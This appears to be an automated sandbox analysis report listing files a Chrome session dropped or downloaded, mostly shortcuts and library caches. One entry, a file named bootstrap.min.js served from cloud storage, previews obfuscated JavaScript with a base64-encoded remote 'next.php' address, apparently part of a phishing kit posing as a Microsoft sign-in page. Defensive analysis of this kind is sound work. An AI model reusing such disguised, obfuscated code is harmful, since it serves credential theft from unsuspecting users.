Preview:	L..................F.@.. ...$+.,.......P.U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.V....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.V...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............,......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.012408534408455
Encrypted:	false
SSDEEP:	48:86d8oTcshAHOidAKZdA14meh7sFiZUkmgqeh7s7y+BX:8XowGDnRy
MD5:	465A4D3125CD7BEC7A882F1DCDEDB2C5
SHA1:	7651D2797493F11B76D494B333A671C75405A867
SHA-256:	84EE69BF9517CB466D194B50138D89E950BCA25F47040CCCC97B27B94E132CF9
SHA-512:	E57EB44A1BF9E36FBDAAD1C46B3FE5537DDAA5623BFDEFA23AA9197A3638EE8F4FBDC6371F6F5DCE1B416E17053C8789C7D3C6D4CAAA88245EDD68E6DAE00501
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.V....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............,......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 09:55:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.004392874208494
Encrypted:	false
SSDEEP:	48:8IHd8oTcshyHOidAKZdA1TehDiZUkwqehZy+R:8/owGOjy
MD5:	C8ACDB45ABCAFB62474743CEDC227D7C
SHA1:	DC722A073F5011FB807233E8BE66C5D60B0CEA17
SHA-256:	6AC3BE3EDF597C70641CF5742596B57E322A837BC80266F79434361ADF100BC6
SHA-512:	85F6A74744FC736CCB3D85D29B42B3F787628827AA3B1F76BEEC0E967A50FBACFB8A49FAB6C07B3404C71D747AC1A129B11B8F785D1F8DD1E61C4A5F79D6957E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....'.\|P.U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.V....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.V...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............,......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 09:55:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.992446674246117
Encrypted:	false
SSDEEP:	48:8hHd8oTcshyHOidAKZdA1dehBiZUk1W1qeh/y+C:8IowGe9fy
MD5:	7AB9F163060EBC30FDA1723A90A27DB3
SHA1:	8B72E05EA475350B0F6AE970534FA8D929C40F9A
SHA-256:	999EA11B85786CCB19294012AF0AD1B4354F9D08FC4AA6BBBD98B27AFC3E596C
SHA-512:	1BDCFA2312F9CB4EDF1C3B5C2DFA9DF585238222651A60152A7A6AA45F37B9F46FE27E0F3969EDE0B529CC95D04301E82D0E96C51955CB14A8E760B5741DB303
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v.P.U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.V....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.V...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............,......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 09:55:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.000400260887995
Encrypted:	false
SSDEEP:	48:8asHd8oTcshyHOidAKZdA1duTeehOuTbbiZUk5OjqehOuTbRy+yT+:8CowGUTfTbxWOvTbRy7T
MD5:	0A0AE662C84DAAC1E5E48E0851759815
SHA1:	E58E51A3A355BABC5136481E6E7630B800995342
SHA-256:	1EB15287BDE44A2C14D04D72018665BC33EF73312AD42BFFB18FE364BD923EB8
SHA-512:	BAC2FF38A2100697AAEBC8D803DDFE1794DC20746A0EBF1B324530B704BD2E5D3D66E7AEFDBB4F01605E946438F89D29B8D98661E1DCA3642DA7D814EDFCA97A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......qP.U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.V....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.V...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............,......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65458), with CRLF line terminators
Category:	downloaded
Size (bytes):	553312
Entropy (8bit):	4.912120433419705
Encrypted:	false
SSDEEP:	6144:gTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:zay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	D66F1776B6AA9EF7A879022F4F2DA217
SHA1:	00D57A57CB734C473C03FF56C909DCE4AE9121B8
SHA-256:	85C54D45E88104D2FC3BA34A84A5AE4A813D168C86A7A9BE3CA6C6D6561C44AB
SHA-512:	8586C2A1C6B3F1D5456B018BE34F7FBAE3388CF8F34CA8BF30B57C6CC789806772399F5ED3A0C910E69FB529579349FC64F7ACA8604C40BB4B0BF737EBB94731
Malicious:	false
URL:	https://5889631857-1323985617.cos.na-siliconvalley.myqcloud.com/attach%2Fbootstrap.min.js
Preview:	var file = "aHR0cHM6Ly9tcm1vbmV5LmFwcGNvdXJ0c2VydmljZXMuY29tL25leHQucGhw";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','\x20.border-

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
